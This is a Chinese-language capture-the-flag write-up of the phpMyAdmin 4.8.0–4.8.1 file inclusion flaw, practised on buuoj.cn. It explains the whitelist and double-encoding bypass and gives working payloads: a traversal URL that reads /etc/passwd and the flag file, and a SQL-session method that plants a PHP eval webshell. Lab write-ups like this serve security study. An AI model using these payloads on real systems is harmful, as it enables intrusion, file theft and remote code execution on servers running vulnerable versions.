复现地址:buuoj.cn
漏洞描述
攻击者利用发现在服务器上包含(查看和潜在执行)文件的漏洞。该漏洞来自一部分代码
漏洞影响范围
phpMyAdmin 4.8.0和4.8.1
产生点
以上分析:
1.传入的target不能为空
2.必须是一个字符串
3.不能以index开头
4.不能再数组target_blacklist中
5.且经过checkPageValidit检查后为真
查询后我们发现黑名单中有import.php export.php
要求:target不为空、是字符串、不在黑名单中、且经过切割后再白名单中。
这里面涉及一个知识:双重编码,比如你将?双重编码的话,经过包含时你包含的文件会被当成一个目录
(并不是只有?两次编码可以实现跨目录,#二次编码也可以)
如何查看此phpmyadmin有漏洞呢
payload为:?target=db_sql.php%253f/../../../../../../../../etc/passwd
其中db_sql.php是白名单中的内容
public static $goto_whitelist = array( 'db_datadict.php', 'db_sql.php', 'db_events.php', 'db_export.php', 'db_importdocsql.php', 'db_multi_table_query.php', 'db_structure.php', 'db_import.php', 'db_operations.php', 'db_search.php', 'db_routines.php', 'export.php', 'import.php', 'index.php', 'pdf_pages.php', 'pdf_schema.php', 'server_binlog.php', 'server_collations.php', 'server_databases.php', 'server_engines.php', 'server_export.php', 'server_import.php', 'server_privileges.php', 'server_sql.php', 'server_status.php', 'server_status_advisor.php', 'server_status_monitor.php', 'server_status_queries.php', 'server_status_variables.php', 'server_variables.php', 'sql.php', 'tbl_addfield.php', 'tbl_change.php', 'tbl_create.php', 'tbl_import.php', 'tbl_indexes.php', 'tbl_sql.php', 'tbl_export.php', 'tbl_operations.php', 'tbl_structure.php', 'tbl_relation.php', 'tbl_replace.php', 'tbl_row_action.php', 'tbl_select.php', 'tbl_zoom_select.php', 'transformation_overview.php', 'transformation_wrapper.php', 'user_password.php', );
随便选一个。如果有回显即为漏洞存在
参考:https://blog.csdn.net/Mikasa_/article/details/88594749
如何获得webshell?
可以尝试session方法
在sql界面尝试写入phpinfo
select'<?php phpinfo();?>'
获得session后访问tmp/sess_xxxxxxxxx
发现成功执行
尝试删除cookie后写入一句话木马
select'<?php @eval($_POST[1]);?>'
例题:
[GWCTF 2019]我有一个数据库
打开后?target=db_datadict.php%253f/../../../../../../../../etc/passwd
发现包含此漏洞
读取db_datadict.php%253f/../../../../../../../../flag
获得flag